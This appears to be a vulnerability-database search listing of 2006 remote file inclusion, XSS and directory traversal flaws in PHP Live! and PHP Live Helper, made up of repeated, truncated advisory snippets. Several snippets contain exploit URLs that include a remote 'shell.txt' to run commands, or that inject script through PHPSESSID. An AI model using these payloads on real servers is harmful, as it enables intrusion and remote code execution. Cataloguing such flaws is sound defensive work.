176 matches found
CVE-2006-3911: Undefined Security Weakness
PHP remote file inclusion vulnerability in OSI Codes PHP Live! 3.2.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the csspath parameter in 1 help.php and 2 setup/header.php...
phpliveInclude.txt
-PHP Live! v3.2 header.php Remote File Include Vulnerabilities By saudi hackrz --------------------------------------- Exploit : http://target/path/setup/header.php?csspath=http://sit/shell.txt?cmd=ls --------------------------------------- - SnIpEr.SA , KING18, BLACK HOURS, AL-ARAAB,...
PHP Live! v3.2 (header.php) Remote File Include Vulnerabilities
-PHP Live! v3.2 header.php Remote File Include Vulnerabilities By saudi hackrz --------------------------------------- Exploit : http://target/path/setup/header.php?csspath=http://sit/shell.txt?cmd=ls --------------------------------------- - SnIpEr.SA , KING18, BLACK HOURS, AL-ARAAB,...
PHP Live! <= 3.2.1 (help.php) Remote Inclusion Vulnerability
Exploit for unknown platform in category web applications ============================================================ PHP Live! ----------- Execution: help.php?csspath=htt://attacker setup/header.php?csspath=htt://attacker ----------- Vendor: At the moment, there are no solutions from the vendor...
PHP Live! 3.2.1 - help.php Remote File Inclusion
PHP Live! 3.2.1 - help.php Remote File Inclusion Advisory: PHPLive 3.2 Remote Injection Vulnerability Release Date: 2006/07/23 Author: magnific Discovered: aneurysm.inc security reserach Risk: High Vendor Status: not contacted | no patch available Vendor Site: www.osicodes.com Contact:...
PHP Live! <= 3.2.1 (help.php) Remote Inclusion Vulnerability
No description provided by source. Advisory: PHPLive 3.2 Remote Injection Vulnerability Release Date: 2006/07/23 Author: magnific Discovered: aneurysm.inc security reserach Risk: High Vendor Status: not contacted | no patch available Vendor Site: www.osicodes.com Contact: aneurysmincathotmaildotc...
phpliveHelper.txt
--------------------------------------------------------------------------- PHP Live Helper =abspath Remote File Include Vulnerabilities --------------------------------------------------------------------------- Discovered By SnIpErSA Author : SnIpErSA Remote : Yes Local : No Critical Level :...
PHP Live Helper <=([abs_path]) Remote File Include Vulnerabilities
--------------------------------------------------------------------------- PHP Live Helper =abspath Remote File Include Vulnerabilities --------------------------------------------------------------------------- Discovered By SnIpErSA Author : SnIpErSA Remote : Yes Local : No Critical Level :...
PHP Live Helper <= 1.x (abs_path) Remote File Include Vulnerability
No description provided by source. --------------------------------------------------------------------------- PHP Live Helper =abspath Remote File Include Vulnerabilities --------------------------------------------------------------------------- Discovered By SnIpErSA Author : SnIpErSA Remote :...
PHP Live Helper <= 1.x (abs_path) Remote File Include Vulnerability
Exploit for unknown platform in category web applications =================================================================== PHP Live Helper = 1.x abspath Remote File Include Vulnerability ===================================================================...
PHP Live Helper 1.x - 'abs_path' Remote File Inclusion
--------------------------------------------------------------------------- PHP Live Helper =abspath Remote File Include Vulnerabilities --------------------------------------------------------------------------- Discovered By SnIpErSA Author : SnIpErSA Remote : Yes Local : No Critical Level :...
PHP Live Helper 1.x - abs_path Remote File Inclusion
PHP Live Helper 1.x - abspath Remote File Inclusion --------------------------------------------------------------------------- PHP Live Helper =abspath Remote File Include Vulnerabilities --------------------------------------------------------------------------- Discovered By SnIpErSA Author :...
Cross site scripting
Cross-site scripting XSS vulnerability in chat.php in PHP Live Helper allows remote attackers to inject arbitrary web script or HTML via the PHPSESSID parameter...
CVE-2006-2394
Cross-site scripting XSS vulnerability in chat.php in PHP Live Helper allows remote attackers to inject arbitrary web script or HTML via the PHPSESSID parameter...
CVE-2006-2394
Cross-site scripting XSS vulnerability in chat.php in PHP Live Helper allows remote attackers to inject arbitrary web script or HTML via the PHPSESSID parameter...
CVE-2006-2394
CVE-2006-2394 affects PHP Live Helper’s chat.php, where the PHPSESSID parameter enables cross-site scripting. The vulnerability allows remote attackers to inject arbitrary web script or HTML in the context of the affected site. Public references (including Exploit-DB) document a browser-executabl...
CVE-2006-2394: Undefined Security Weakness
Cross-site scripting XSS vulnerability in chat.php in PHP Live Helper allows remote attackers to inject arbitrary web script or HTML via the PHPSESSID parameter...
PHP Live Helper ASP(chat.php) XSS
================== Credit: Mr-X Site: www.alshmokh.com Email: [email protected] ================== Example:- /chat.php?action=showmain&PHPSESSID=XSS...
Directory traversal
Directory traversal vulnerability in 1 initiate.php and 2 possibly other PHP scripts in Turnkey Web Tools PHP Live Helper 1.8, and possibly later versions, allows remote authenticated users to include and execute arbitrary local files via directory traversal sequences in the language cookie, as...
CVE-2006-1478
Directory traversal vulnerability in 1 initiate.php and 2 possibly other PHP scripts in Turnkey Web Tools PHP Live Helper 1.8, and possibly later versions, allows remote authenticated users to include and execute arbitrary local files via directory traversal sequences in the language cookie, as...